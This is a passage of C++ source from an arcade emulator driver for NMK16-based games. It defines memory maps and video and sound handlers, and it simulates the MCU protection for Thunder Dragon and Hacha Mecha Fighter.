have the glitches present in spec2k Afega stands for "Art-Fiction Electronic Game" Reference of music tempo: stagger1 - https://www.youtube.com/watch?v=xWszb2fP07M ********************************************************************/ #include "emu.h" #include "includes/nmk16.h" #include "audio/seibu.h" #include "cpu/m68000/m68000.h" #include "cpu/pic16c5x/pic16c5x.h" #include "cpu/tlcs90/tlcs90.h" #include "cpu/z80/z80.h" #include "machine/nmk004.h" #include "machine/nmk112.h" #include "sound/okim6295.h" #include "sound/ymopm.h" #include "sound/ymopn.h" #include "sound/ymopl.h" #include "screen.h" #include "speaker.h" void nmk16_state::nmk004_x0016_w(u16 data) { // this is part of a watchdog scheme // generating an NMI on the NMK004 keeps a timer alive // if that timer expires the NMK004 resets the system m_nmk004->nmi_w(BIT(data, 0) ? ASSERT_LINE : CLEAR_LINE); } void nmk16_state::nmk004_bioship_x0016_w(u16 data) { // ugly, ugly logic invert hack, but otherwise bioship doesn't hit the NMI enough to keep the game alive! m_nmk004->nmi_w(BIT(data, 0) ? CLEAR_LINE : ASSERT_LINE); } /********************************************************** Protection: Memory Scrambling Several NMK and Afega games (notably the ones running at the lower resolution) require strange handling of work RAM when performing 8-bit writes. This handling breaks some of the later games if used, but is essential for Mustang, Black Heart, Task Force Harrier, and the Afega shooters to work correctly without ROM patches. Tests on the board would help verify this as correct. I'm not sure if this is actually protection, or just poor board design. **********************************************************/ void nmk16_state::mainram_strange_w(offs_t offset, u16 data/*, u16 mem_mask*/) { #if 0 if (!ACCESSING_BITS_8_15) { m_mainram[offset] = (data & 0x00ff) | ((data & 0x00ff)<<8); } else if (!ACCESSING_BITS_0_7) { m_mainram[offset] = (data & 0xff00) | ((data & 0xff00) >> 8); } else { m_mainram[offset] = data; } #endif // as of SVN 30715 the 68k core replicates the above behavior, providing mirrored bits in 'data' regardless of the value of 'mem_mask' m_mainram[offset] = data; } // tdragon2, raphero has address-swapped mainram handler u16 nmk16_state::mainram_swapped_r(offs_t offset) { return m_mainram[bitswap<16>(offset, 15, 14, 13, 12, 11, 7, 9, 8, 10, 6, 5, 4, 3, 2, 1, 0)]; } void nmk16_state::mainram_swapped_w(offs_t offset, u16 data, u16 mem_mask) { COMBINE_DATA(&m_mainram[bitswap<16>(offset, 15, 14, 13, 12, 11, 7, 9, 8, 10, 6, 5, 4, 3, 2, 1, 0)]); } void nmk16_state::ssmissin_soundbank_w(u8 data) { m_okibank[0]->set_entry(data & 0x3); } void nmk16_state::tharrier_mcu_control_w(u16 data) { // logerror("%04x: mcu_control_w %02x\n",m_maincpu->pc(),data); } u16 nmk16_state::tharrier_mcu_r(offs_t offset, u16 mem_mask) { /* The MCU is mapped as the top byte for byte accesses only, all word accesses are to the input port */ if (ACCESSING_BITS_8_15 && !ACCESSING_BITS_0_7) { static const u8 to_main[] = { 0x82,0xc7,0x00,0x2c,0x6c,0x00,0x9f,0xc7,0x00,0x29,0x69,0x00,0x8b,0xc7,0x00 }; int res; if (m_maincpu->pc()==0x8aa) res = (m_mainram[0x9064/2])|0x20; // Task Force Harrier else if (m_maincpu->pc()==0x8ce) res = (m_mainram[0x9064/2])|0x60; // Task Force Harrier else { res = to_main[m_prot_count++]; if (m_prot_count == sizeof(to_main)) m_prot_count = 0; } return res << 8; } else { // the above statement appears to be incorrect, it should also read DSW1 from here, almost certainly // through the MCU. The weird 0x080202 address where we read IN2 is also probably just a mirror of 0x080002 (here) return ~m_in_io[1]->read(); } } void nmk16_state::macross2_sound_reset_w(u16 data) { /* PCB behaviour verified by Corrado Tomaselli at MAME Italia Forum: every time music changes Z80 is reset */ m_audiocpu->set_input_line(INPUT_LINE_RESET, data ? CLEAR_LINE : ASSERT_LINE); } void nmk16_state::macross2_sound_bank_w(u8 data) { m_audiobank->set_entry(data & 0x07); } template<unsigned Chip> void nmk16_state::tharrier_oki_bankswitch_w(u8 data) { data &= 3; if (data != 3) m_okibank[Chip]->set_entry(data); } /*************************************************************************** VRAM handlers ***************************************************************************/ template<unsigned Layer> void nmk16_state::bgvideoram_w(offs_t offset, u16 data, u16 mem_mask) { COMBINE_DATA(&m_bgvideoram[Layer][offset]); if ((offset >> 13) == m_tilerambank) m_bg_tilemap[Layer]->mark_tile_dirty(offset & 0x1fff); } void nmk16_state::txvideoram_w(offs_t offset, u16 data, u16 mem_mask) { COMBINE_DATA(&m_txvideoram[offset]); m_tx_tilemap->mark_tile_dirty(offset); } template<unsigned Layer> void nmk16_state::scroll_w(offs_t offset, u8 data) { m_scroll[Layer][offset] = data; if (offset & 2) { m_bg_tilemap[Layer]->set_scrolly(0,((m_scroll[Layer][2] << 8) | m_scroll[Layer][3])); } else { if ((m_bgvideoram[Layer].bytes() > 0x4000) && (offset == 0)) { int newbank = (m_scroll[Layer][0] >> 4) & ((m_bgvideoram[Layer].bytes() >> 14) - 1); if (m_tilerambank != newbank) { m_tilerambank = newbank; if (m_bg_tilemap[Layer]) m_bg_tilemap[Layer]->mark_all_dirty(); } } m_bg_tilemap[Layer]->set_scrollx(0,(m_scroll[Layer][0] << 8) | m_scroll[Layer][1]); } } /***************************************************************************/ void nmk16_state::vandyke_map(address_map &map) { map(0x000000, 0x03ffff).rom(); map(0x080000, 0x080001).portr("IN0"); map(0x080002, 0x080003).portr("IN1"); map(0x080008, 0x080009).portr("DSW1"); map(0x08000a, 0x08000b).portr("DSW2"); map(0x08000f, 0x08000f).r(m_nmk004, FUNC(nmk004_device::read)); map(0x080016, 0x080017).w(FUNC(nmk16_state::nmk004_x0016_w)); map(0x080019, 0x080019).w(FUNC(nmk16_state::tilebank_w)); map(0x08001f, 0x08001f).w(m_nmk004, FUNC(nmk004_device::write)); map(0x088000, 0x0887ff).ram().w(m_palette, FUNC(palette_device::write16)).share("palette"); map(0x08c000, 0x08c007).w(FUNC(nmk16_state::vandyke_scroll_w)); map(0x090000, 0x093fff).ram().w(FUNC(nmk16_state::bgvideoram_w<0>)).share("bgvideoram0"); map(0x094000, 0x097fff).ram(); // what is this? map(0x09d000, 0x09d7ff).ram().w(FUNC(nmk16_state::txvideoram_w)).share("txvideoram"); map(0x0f0000, 0x0fffff).ram().share("mainram"); } void nmk16_state::vandykeb_map(address_map &map) { map(0x000000, 0x03ffff).rom(); map(0x080000, 0x080001).portr("IN0"); map(0x080002, 0x080003).portr("IN1"); map(0x080008, 0x080009).portr("DSW1"); map(0x08000a, 0x08000b).portr("DSW2"); // map(0x08000f, 0x08000f).r(m_nmk004, FUNC(nmk004_device::read)); map(0x080010, 0x08001d).w(FUNC(nmk16_state::vandykeb_scroll_w)); // 10, 12, 1a, 1c map(0x080016, 0x080017).nopw(); // IRQ enable? map(0x080019, 0x080019).w(FUNC(nmk16_state::tilebank_w)); // map(0x08001f, 0x08001f).w(m_nmk004, FUNC(nmk004_device::write)); map(0x088000, 0x0887ff).ram().w(m_palette, FUNC(palette_device::write16)).share("palette"); map(0x08c000, 0x08c007).nopw(); // just in case... map(0x090000, 0x093fff).ram().w(FUNC(nmk16_state::bgvideoram_w<0>)).share("bgvideoram0"); map(0x094000, 0x097fff).ram(); // what is this? map(0x09d000, 0x09d7ff).ram().w(FUNC(nmk16_state::txvideoram_w)).share("txvideoram"); map(0x0f0000, 0x0fffff).ram().share("mainram"); } void nmk16_state::manybloc_map(address_map &map) { map(0x000000, 0x03ffff).rom(); map(0x080000, 0x080001).portr("IN0"); map(0x080002, 0x080003).portr("IN1"); map(0x080004, 0x080005).portr("DSW1"); map(0x080010, 0x080011).nopw(); // See notes at the top of the driver map(0x080012, 0x080013).nopw(); // See notes at the top of the driver map(0x080015, 0x080015).w(FUNC(nmk16_state::flipscreen_w)); map(0x08001c, 0x08001d).nopw(); // See notes at the top of the driver map(0x08001f, 0x08001f).r("soundlatch2", FUNC(generic_latch_8_device::read)).w(m_soundlatch, FUNC(generic_latch_8_device::write)).umask16(0x00ff); map(0x088000, 0x0883ff).ram().w(m_palette, FUNC(palette_device::write16)).share("palette"); map(0x090000, 0x093fff).ram().w(FUNC(nmk16_state::bgvideoram_w<0>)).share("bgvideoram0"); map(0x09c000, 0x09cfff).ram().w(FUNC(nmk16_state::manybloc_scroll_w)).share("scrollram"); map(0x09d000, 0x09d7ff).ram().w(FUNC(nmk16_state::txvideoram_w)).share("txvideoram"); map(0x0f0000, 0x0fffff).ram().share("mainram"); } void nmk16_tomagic_state::tomagic_map(address_map &map) { map(0x000000, 0x07ffff).rom().region("maincpu", 0); map(0x080000, 0x080001).portr("IN0"); map(0x080002, 0x080003).portr("IN1"); map(0x080008, 0x080009).portr("DSW1"); map(0x08000a, 0x08000b).portr("DSW2"); map(0x080014, 0x080015).w(FUNC(nmk16_tomagic_state::flipscreen_w)); map(0x080018, 0x080019).w(FUNC(nmk16_tomagic_state::tilebank_w)); map(0x08001f, 0x08001f).w(m_soundlatch, FUNC(generic_latch_8_device::write)); map(0x088000, 0x0887ff).ram().w(m_palette, FUNC(palette_device::write16)).share("palette"); map(0x08c000, 0x08c1ff).writeonly().share("scrollram"); map(0x08c200, 0x08c3ff).writeonly().share("scrollramy"); map(0x090000, 0x093fff).ram().w(FUNC(nmk16_tomagic_state::bgvideoram_w<0>)).share("bgvideoram0"); map(0x094001, 0x094001).w(m_oki[0], FUNC(okim6295_device::write)); map(0x094003, 0x094003).r(m_oki[0], FUNC(okim6295_device::read)); map(0x09c000, 0x09cfff).mirror(0x001000).ram().w(FUNC(nmk16_tomagic_state::txvideoram_w)).share("txvideoram"); map(0x0f0000, 0x0fffff).ram().share("mainram"); } void nmk16_tomagic_state::tomagic_sound_map(address_map &map) { map(0x0000, 0x7fff).rom().region("audiocpu", 0); map(0x8000, 0xbfff).bankr("audiobank"); map(0xc000, 0xdfff).ram(); } void nmk16_tomagic_state::tomagic_sound_io_map(address_map &map) { map.global_mask(0xff); map(0x00, 0x00).w(FUNC(nmk16_tomagic_state::macross2_sound_bank_w)); map(0x02, 0x03).rw("ymsnd", FUNC(ym3812_device::read), FUNC(ym3812_device::write)); map(0x06, 0x06).r(m_soundlatch, FUNC(generic_latch_8_device::read)); } void nmk16_state::tharrier_map(address_map &map) { map(0x000000, 0x03ffff).rom(); map(0x080000, 0x080001).portr("IN0"); map(0x080002, 0x080003).r(FUNC(nmk16_state::tharrier_mcu_r)); // .portr("IN1"); map(0x080004, 0x080005).portr("DSW1"); map(0x08000f, 0x08000f).r("soundlatch2", FUNC(generic_latch_8_device::read)); // from Z80 map(0x080010, 0x080011).w(FUNC(nmk16_state::tharrier_mcu_control_w)); map(0x080012, 0x080013).nopw(); // map(0x080015, 0x080015).w(FUNC(nmk16_state::flipscreen_w)); // map(0x080019, 0x080019).w(FUNC(nmk16_state::tilebank_w)); map(0x08001f, 0x08001f).w(m_soundlatch, FUNC(generic_latch_8_device::write)); map(0x080202, 0x080203).portr("IN2"); map(0x088000, 0x0883ff).ram().w(m_palette, FUNC(palette_device::write16)).share("palette"); // map(0x08c000, 0x08c007).w(FUNC(nmk16_state::scroll_w<0>)).umask16(0x00ff); map(0x090000, 0x093fff).ram().w(FUNC(nmk16_state::bgvideoram_w<0>)).share("bgvideoram0"); map(0x09c000, 0x09c7ff).ram(); // Unused txvideoram area? map(0x09d000, 0x09d7ff).ram().w(FUNC(nmk16_state::txvideoram_w)).share("txvideoram"); map(0x0f0000, 0x0fffff).ram().w(FUNC(nmk16_state::mainram_strange_w)).share("mainram"); } void nmk16_state::tharrier_sound_map(address_map &map) { map(0x0000, 0xbfff).rom(); map(0xc000, 0xc7ff).ram(); map(0xf000, 0xf000).r(m_soundlatch, FUNC(generic_latch_8_device::read)).w("soundlatch2", FUNC(generic_latch_8_device::write)); map(0xf400, 0xf400).rw(m_oki[0], FUNC(okim6295_device::read), FUNC(okim6295_device::write)); map(0xf500, 0xf500).rw(m_oki[1], FUNC(okim6295_device::read), FUNC(okim6295_device::write)); map(0xf600, 0xf600).w(FUNC(nmk16_state::tharrier_oki_bankswitch_w<0>)); map(0xf700, 0xf700).w(FUNC(nmk16_state::tharrier_oki_bankswitch_w<1>)); } void nmk16_state::tharrier_sound_io_map(address_map &map) { map.global_mask(0xff); map(0x00, 0x01).rw("ymsnd", FUNC(ym2203_device::read), FUNC(ym2203_device::write)); } //Read input port 1 030c8/ BAD //3478 GOOD void nmk16_state::mustang_map(address_map &map) { map(0x000000, 0x03ffff).rom(); map(0x080000, 0x080001).portr("IN0"); map(0x080002, 0x080003).portr("IN1"); map(0x080004, 0x080005).portr("DSW1"); map(0x08000f, 0x08000f).r(m_nmk004, FUNC(nmk004_device::read)); map(0x08000e, 0x08000f).nopw(); map(0x080015, 0x080015).w(FUNC(nmk16_state::flipscreen_w)); map(0x080016, 0x080017).w(FUNC(nmk16_state::nmk004_x0016_w)); // frame number? map(0x08001f, 0x08001f).w(m_nmk004, FUNC(nmk004_device::write)); map(0x088000, 0x0887ff).ram().w(m_palette, FUNC(palette_device::write16)).share("palette"); map(0x08c000, 0x08c001).w(FUNC(nmk16_state::mustang_scroll_w)); map(0x08c002, 0x08c087).nopw(); // ?? map(0x090000, 0x093fff).ram().w(FUNC(nmk16_state::bgvideoram_w<0>)).share("bgvideoram0"); map(0x09c000, 0x09c7ff).ram().w(FUNC(nmk16_state::txvideoram_w)).share("txvideoram"); map(0x0f0000, 0x0fffff).ram().w(FUNC(nmk16_state::mainram_strange_w)).share("mainram"); } void nmk16_state::mustangb_map(address_map &map) { map(0x000000, 0x03ffff).rom(); map(0x080000, 0x080001).portr("IN0"); map(0x080002, 0x080003).portr("IN1"); map(0x080004, 0x080005).portr("DSW1"); map(0x08000e, 0x08000f).noprw(); map(0x080015, 0x080015).w(FUNC(nmk16_state::flipscreen_w)); map(0x080016, 0x080017).nopw(); // frame number? map(0x08001e, 0x08001f).w("seibu_sound", FUNC(seibu_sound_device::main_mustb_w)); map(0x088000, 0x0887ff).ram().w(m_palette, FUNC(palette_device::write16)).share("palette"); map(0x08c000, 0x08c001).w(FUNC(nmk16_state::mustang_scroll_w)); map(0x08c002, 0x08c087).nopw(); // ?? map(0x090000, 0x093fff).ram().w(FUNC(nmk16_state::bgvideoram_w<0>)).share("bgvideoram0"); map(0x09c000, 0x09c7ff).ram().w(FUNC(nmk16_state::txvideoram_w)).share("txvideoram"); map(0x0f0000, 0x0fffff).ram().w(FUNC(nmk16_state::mainram_strange_w)).share("mainram"); } void nmk16_state::mustangb3_map(address_map &map) { map(0x000000, 0x03ffff).rom(); map(0x080000, 0x080001).portr("IN0"); map(0x080002, 0x080003).portr("IN1"); map(0x080004, 0x080005).portr("DSW1"); map(0x080006, 0x080007).lr16(NAME([this]() { if (m_maincpu->pc() == 0x416) return 0x9000; if (m_maincpu->pc() == 0x64e) return 0x548d; return 0x0000; })); // TODO: gross hack. Protection? Or probably something more obvious map(0x08000f, 0x08000f).r("soundlatch2", FUNC(generic_latch_8_device::read)); map(0x08000e, 0x08000f).nopw(); map(0x080015, 0x080015).w(FUNC(nmk16_state::flipscreen_w)); map(0x080016, 0x080017).noprw(); map(0x08001f, 0x08001f).w(m_soundlatch, FUNC(generic_latch_8_device::write)); map(0x088000, 0x0887ff).ram().w(m_palette, FUNC(palette_device::write16)).share("palette"); map(0x08c000, 0x08c001).w(FUNC(nmk16_state::mustang_scroll_w)); map(0x08c002, 0x08c087).nopw(); map(0x090000, 0x093fff).ram().w(FUNC(nmk16_state::bgvideoram_w<0>)).share("bgvideoram0"); map(0x09c000, 0x09c7ff).ram().w(FUNC(nmk16_state::txvideoram_w)).share("txvideoram"); map(0x0f0000, 0x0fffff).ram().w(FUNC(nmk16_state::mainram_strange_w)).share("mainram"); } void nmk16_state::twinactn_map(address_map &map) { map(0x000000, 0x03ffff).rom(); map(0x080000, 0x080001).portr("IN0"); map(0x080002, 0x080003).portr("IN1"); map(0x080004, 0x080005).portr("DSW1"); map(0x08000e, 0x08000f).noprw(); map(0x080015, 0x080015).w(FUNC(nmk16_state::flipscreen_w)); map(0x080016, 0x080017).nopw(); // frame number? map(0x08001f, 0x08001f).w(m_soundlatch, FUNC(generic_latch_8_device::write)); map(0x088000, 0x0887ff).ram().w(m_palette, FUNC(palette_device::write16)).share("palette"); map(0x08c000, 0x08c001).w(FUNC(nmk16_state::mustang_scroll_w)); map(0x08c002, 0x08c087).nopw(); // ?? map(0x090000, 0x093fff).ram().w(FUNC(nmk16_state::bgvideoram_w<0>)).share("bgvideoram0"); map(0x09c000, 0x09c7ff).ram().w(FUNC(nmk16_state::txvideoram_w)).share("txvideoram"); map(0x0f0000, 0x0fffff).ram().w(FUNC(nmk16_state::mainram_strange_w)).share("mainram"); } void nmk16_state::acrobatm_map(address_map &map) { map(0x00000, 0x3ffff).rom(); map(0x80000, 0x8ffff).ram().share("mainram"); map(0xc0000, 0xc0001).portr("IN0"); map(0xc0002, 0xc0003).portr("IN1"); map(0xc0008, 0xc0009).portr("DSW1"); map(0xc000a, 0xc000b).portr("DSW2"); map(0xc000f, 0xc000f).r(m_nmk004, FUNC(nmk004_device::read)); map(0xc0015, 0xc0015).w(FUNC(nmk16_state::flipscreen_w)); map(0xc0016, 0xc0017).w(FUNC(nmk16_state::nmk004_x0016_w)); map(0xc0019, 0xc0019).w(FUNC(nmk16_state::tilebank_w)); map(0xc001f, 0xc001f).w(m_nmk004, FUNC(nmk004_device::write)); map(0xc4000, 0xc45ff).ram().w(m_palette, FUNC(palette_device::write16)).share("palette"); map(0xc8000, 0xc8007).ram().w(FUNC(nmk16_state::scroll_w<0>)).umask16(0x00ff); map(0xcc000, 0xcffff).ram().w(FUNC(nmk16_state::bgvideoram_w<0>)).share("bgvideoram0"); map(0xd4000, 0xd47ff).ram().w(FUNC(nmk16_state::txvideoram_w)).share("txvideoram"); } void nmk16_state::bioship_map(address_map &map) { map(0x000000, 0x03ffff).rom(); map(0x080000, 0x080001).portr("IN0"); map(0x080002, 0x080003).portr("IN1"); map(0x080008, 0x080009).portr("DSW1"); map(0x08000a, 0x08000b).portr("DSW2"); map(0x08000f, 0x08000f).r(m_nmk004, FUNC(nmk004_device::read)); // map(0xc0015, 0xc0015).w(FUNC(nmk16_state::flipscreen_w)); map(0x080016, 0x080017).w(FUNC(nmk16_state::nmk004_bioship_x0016_w)); map(0x08001f, 0x08001f).w(m_nmk004, FUNC(nmk004_device::write)); map(0x084001, 0x084001).w(FUNC(nmk16_state::bioship_bank_w)); map(0x088000, 0x0887ff).ram().w(m_palette, FUNC(palette_device::write16)).share("palette"); map(0x08c000, 0x08c007).ram().w(FUNC(nmk16_state::scroll_w<1>)).umask16(0xff00); map(0x08c010, 0x08c017).ram().w(FUNC(nmk16_state::scroll_w<0>)).umask16(0xff00); map(0x090000, 0x093fff).ram().w(FUNC(nmk16_state::bgvideoram_w<1>)).share("bgvideoram1"); map(0x09c000, 0x09c7ff).ram().w(FUNC(nmk16_state::txvideoram_w)).share("txvideoram"); map(0x0f0000, 0x0fffff).ram().share("mainram"); } /****************************************************************************************** Thunder Dragon & Hacha Mecha Fighter shares some ram with the MCU,the job of the latter is to provide some jsr vectors used by the game for gameplay calculations.Also it has the job to give the vectors of where the inputs are to be read & to calculate the coin settings,the latter is in a TIMER_DEVICE_CALLBACK to avoid sync problems. To make a long story short,this MCU is an alternative version of the same protection used by the MJ-8956 games (there are even the same kind of error codes!(i.e the number printed on the up-left corner of the screen). ******************************************************************************************/ #define PROT_JSR(_offs_,_protvalue_,_pc_) \ if (m_mainram[(_offs_)/2] == _protvalue_) \ { \ m_mainram[(_offs_)/2] = 0xffff; /*(MCU job done)*/ \ m_mainram[(_offs_+2-0x10)/2] = 0x4ef9;/*JMP*/\ m_mainram[(_offs_+4-0x10)/2] = 0x0000;/*HI-DWORD*/\ m_mainram[(_offs_+6-0x10)/2] = _pc_; /*LO-DWORD*/\ } #define PROT_INPUT(_offs_,_protvalue_,_protinput_,_input_) \ if (m_mainram[_offs_] == _protvalue_) \ { \ m_mainram[_protinput_] = ((_input_ & 0xffff0000) >> 16);\ m_mainram[_protinput_+1] = (_input_ & 0x0000ffff);\ } //td - hmf //008D9E - 00796e /* (Old notes, for reference) 007B9E: bra 7b9c 007BA0: move.w #$10, $f907a.l 007BA8: bsr 8106 007BAC: bsr dfc4 007BB0: bsr c44e 007BB4: bcs 7cfa 007BB8: bsr d9c6 007BBC: bsr 9400 007BC0: bsr 7a54 007BC4: bsr da06 007BC8: cmpi.w #$3, $f907a.l 007BD0: bcc 7be2 007BD2: move.w #$a, $f530e.l 007BDA: move.w #$a, $f670e.l 007BE2: bsr 81aa 007BE6: bsr 8994 007BEA: bsr 8c36 007BEE: bsr 8d0c 007BF2: bsr 870a 007BF6: bsr 9d66 007BFA: bsr b3f2 007BFE: bsr b59e 007C02: bsr 9ac2 007C06: bsr c366 thunder dragon algorithm (level 1): 90 - spriteram update a0 - tilemap update b0 - player inputs c0 - controls sprite animation d0 - player shoots e0 - controls power-ups f0 - player bombs 00 - controls player shoots 10 - ? 20 - level logic 30 - enemy appearence 40 - enemy energy 50 - enemy energy 2 60 - enemy shoots hacha mecha fighter algorithm (level 1): 90 - spriteram update (d9c6) a0 - tilemap update (d1f8?) b0 - player inputs (da06) c0 - controls sprite animation (81aa) d0 - player shoots (8994) e0 - controls power-ups & options (8d0c) f0 - player bombs (8c36) 00 - controls player shoots (870a) 10 - ? 20 - level logic (9642) 30 - enemy appearence (9d66) 40 - enemy energy (b3f2) 50 - enemy energy 2 (b59e) 60 - enemy shoots (9ac2) 70 - ? 80 - <unused> */ void nmk16_state::hachamf_mainram_w(offs_t offset, u16 data, u16 mem_mask) { COMBINE_DATA(&m_mainram[offset]); #define DUMMYA 0x7b9c // 7960 switch (offset) { case 0xe058/2: PROT_INPUT(0xe058/2,0xc71f,0xe000/2,0x00080000); break; case 0xe182/2: PROT_INPUT(0xe182/2,0x865d,0xe004/2,0x00080002); break; case 0xe51e/2: PROT_INPUT(0xe51e/2,0x0f82,0xe008/2,0x00080008); break; case 0xe6b4/2: PROT_INPUT(0xe6b4/2,0x79be,0xe00c/2,0x0008000a); break; case 0xe10e/2: PROT_JSR(0xe10e,0x8007,0x870a);//870a not 9d66 PROT_JSR(0xe10e,0x8000,0xd9c6); break; case 0xe11e/2: PROT_JSR(0xe11e,0x8038,DUMMYA);//972a - (unused) PROT_JSR(0xe11e,0x8031,0x7a54); break; case 0xe12e/2: PROT_JSR(0xe12e,0x8019,0x9642);//OK-9642 PROT_JSR(0xe12e,0x8022,0xda06); break; case 0xe13e/2: PROT_JSR(0xe13e,0x802a,0x9d66);//9d66 not 9400 - OK PROT_JSR(0xe13e,0x8013,0x81aa); break; case 0xe14e/2: PROT_JSR(0xe14e,0x800b,0xb3f2);//b3f2 - OK PROT_JSR(0xe14e,0x8004,0x8994); break; case 0xe15e/2: PROT_JSR(0xe15e,0x803c,0xb59e);//b59e - OK PROT_JSR(0xe15e,0x8035,0x8c36); break; case 0xe16e/2: PROT_JSR(0xe16e,0x801d,0x9ac2);//9ac2 - OK PROT_JSR(0xe16e,0x8026,0x8d0c); break; case 0xe17e/2: PROT_JSR(0xe17e,0x802e,0xc366);//c366 - OK PROT_JSR(0xe17e,0x8017,0x870a); break; case 0xe18e/2: PROT_JSR(0xe18e,0x8004,DUMMYA); //unused PROT_JSR(0xe18e,0x8008,DUMMYA); break; //unused case 0xe19e/2: PROT_JSR(0xe19e,0x8030,0xd9c6);//OK-d9c6 PROT_JSR(0xe19e,0x8039,0x9642); break; case 0xe1ae/2: PROT_JSR(0xe1ae,0x8011,0x7a54);//d1f8 not c67e PROT_JSR(0xe1ae,0x802a,0x9d66); break; case 0xe1be/2: PROT_JSR(0xe1be,0x8022,0xda06);//da06 PROT_JSR(0xe1be,0x801b,0xb3f2); break; case 0xe1ce/2: PROT_JSR(0xe1ce,0x8003,0x81aa);//81aa PROT_JSR(0xe1ce,0x800c,0xb59e); break; case 0xe1de/2: PROT_JSR(0xe1de,0x8034,0x8994);//8994 - OK PROT_JSR(0xe1de,0x803d,0x9ac2); break; case 0xe1ee/2: PROT_JSR(0xe1ee,0x8015,0x8c36);//8d0c not 82f6 PROT_JSR(0xe1ee,0x802e,0xc366); break; case 0xe1fe/2: PROT_JSR(0xe1fe,0x8026,0x8d0c);//8c36 PROT_JSR(0xe1fe,0x8016,DUMMYA); break; //unused case 0xef00/2: if (m_mainram[0xef00/2] == 0x60fe) { m_mainram[0xef00/2] = 0x0000; //this is the coin counter m_mainram[0xef02/2] = 0x0000; m_mainram[0xef04/2] = 0x4ef9; m_mainram[0xef06/2] = 0x0000; m_mainram[0xef08/2] = 0x7dc2; } break; } #undef DUMMYA } void nmk16_state::hachamf_map(address_map &map) { map(0x000000, 0x03ffff).rom(); // I/O Region map(0x080000, 0x080001).portr("IN0"); map(0x080002, 0x080003).portr("IN1"); map(0x080008, 0x080009).portr("DSW1"); map(0x08000a, 0x08000b).portr("DSW2"); map(0x08000f, 0x08000f).r(m_nmk004, FUNC(nmk004_device::read)); map(0x080015, 0x080015).w(FUNC(nmk16_state::flipscreen_w)); map(0x080016, 0x080017).w(FUNC(nmk16_state::nmk004_x0016_w)); map(0x080019, 0x080019).w(FUNC(nmk16_state::tilebank_w)); map(0x08001f, 0x08001f).w(m_nmk004, FUNC(nmk004_device::write)); // Video Region map(0x088000, 0x0887ff).ram().w(m_palette, FUNC(palette_device::write16)).share("palette"); map(0x08c000, 0x08c007).w(FUNC(nmk16_state::scroll_w<0>)).umask16(0x00ff); map(0x090000, 0x093fff).ram().w(FUNC(nmk16_state::bgvideoram_w<0>)).share("bgvideoram0"); map(0x09c000, 0x09c7ff).ram().w(FUNC(nmk16_state::txvideoram_w)).share("txvideoram"); // Main RAM, inc sprites, shared with MCU map(0x0f0000, 0x0fffff).ram().share("mainram"); // ram is shared with MCU } void nmk16_state::tdragon_mainram_w(offs_t offset, u16 data, u16 mem_mask) { COMBINE_DATA(&m_mainram[offset]); switch (offset) { case 0xe066/2: PROT_INPUT(0xe066/2,0xe23e,0xe000/2,0x000c0000); break; case 0xe144/2: PROT_INPUT(0xe144/2,0xf54d,0xe004/2,0x000c0002); break; case 0xe60e/2: PROT_INPUT(0xe60e/2,0x067c,0xe008/2,0x000c0008); break; case 0xe714/2: PROT_INPUT(0xe714/2,0x198b,0xe00c/2,0x000c000a); break; case 0xe70e/2: PROT_JSR(0xe70e,0x8007,0x9e22); PROT_JSR(0xe70e,0x8000,0xd518); break; case 0xe71e/2: PROT_JSR(0xe71e,0x8038,0xaa0a); PROT_JSR(0xe71e,0x8031,0x8e7c); break; case 0xe72e/2: PROT_JSR(0xe72e,0x8019,0xac48); PROT_JSR(0xe72e,0x8022,0xd558); break; case 0xe73e/2: PROT_JSR(0xe73e,0x802a,0xb110); PROT_JSR(0xe73e,0x8013,0x96da); break; case 0xe74e/2: PROT_JSR(0xe74e,0x800b,0xb9b2); PROT_JSR(0xe74e,0x8004,0xa062); break; case 0xe75e/2: PROT_JSR(0xe75e,0x803c,0xbb4c); PROT_JSR(0xe75e,0x8035,0xa154); break; case 0xe76e/2: PROT_JSR(0xe76e,0x801d,0xafa6); PROT_JSR(0xe76e,0x8026,0xa57a); break; case 0xe77e/2: PROT_JSR(0xe77e,0x802e,0xc6a4); PROT_JSR(0xe77e,0x8017,0x9e22); break; case 0xe78e/2: PROT_JSR(0xe78e,0x8004,0xaa0a); PROT_JSR(0xe78e,0x8008,0xaa0a); break; case 0xe79e/2: PROT_JSR(0xe79e,0x8030,0xd518); PROT_JSR(0xe79e,0x8039,0xac48); break; case 0xe7ae/2: PROT_JSR(0xe7ae,0x8011,0x8e7c); PROT_JSR(0xe7ae,0x802a,0xb110); break; case 0xe7be/2: PROT_JSR(0xe7be,0x8022,0xd558); PROT_JSR(0xe7be,0x801b,0xb9b2); break; case 0xe7ce/2: PROT_JSR(0xe7ce,0x8003,0x96da); PROT_JSR(0xe7ce,0x800c,0xbb4c); break; case 0xe7de/2: PROT_JSR(0xe7de,0x8034,0xa062); PROT_JSR(0xe7de,0x803d,0xafa6); break; case 0xe7ee/2: PROT_JSR(0xe7ee,0x8015,0xa154); PROT_JSR(0xe7ee,0x802e,0xc6a4); break; case 0xe7fe/2: PROT_JSR(0xe7fe,0x8026,0xa57a); PROT_JSR(0xe7fe,0x8016,0xa57a); break; case 0xef00/2: if (m_mainram[0xef00/2] == 0x60fe) { m_mainram[0xef00/2] = 0x0000; //this is the coin counter m_mainram[0xef02/2] = 0x0000; m_mainram[0xef04/2] = 0x4ef9; m_mainram[0xef06/2] = 0x0000; m_mainram[0xef08/2] = 0x92f4; } break; } } // coin setting MCU simulation void nmk16_state::mcu_run(u8 dsw_setting) { u16 coin_input; u8 dsw[2]; u8 i; // Accept the start button but needs some m68k processing first,otherwise you can't start a play with 1 credit inserted if (m_start_helper & 1 && m_mainram[0x9000/2] & 0x0200) // start 1 { m_mainram[0xef00/2]--; m_start_helper = m_start_helper & 2; } if (m_start_helper & 2 && m_mainram[0x9000/2] & 0x0100) // start 2 { m_mainram[0xef00/2]--; m_start_helper = m_start_helper & 1; } // needed because of the uncompatibility of the dsw settings. if (dsw_setting) // Thunder Dragon { dsw[0] = (m_dsw_io[1]->read() & 0x7); dsw[1] = (m_dsw_io[1]->read() & 0x38) >> 3; for (i = 0; i < 2; i++) { switch (dsw[i] & 7) { case 0: m_mainram[0x9000/2] |= 0x4000; break; //free play case 1: m_coin_count_frac[i] = 1; m_coin_count[i] = 4; break; case 2: m_coin_count_frac[i] = 1; m_coin_count[i] = 3; break; case 3: m_coin_count_frac[i] = 1; m_coin_count[i] = 2; break; case 4: m_coin_count_frac[i] = 4; m_coin_count[i] = 1; break; case 5: m_coin_count_frac[i] = 3; m_coin_count[i] = 1; break; case 6: m_coin_count_frac[i] = 2; m_coin_count[i] = 1; break; case 7: m_coin_count_frac[i] = 1; m_coin_count[i] = 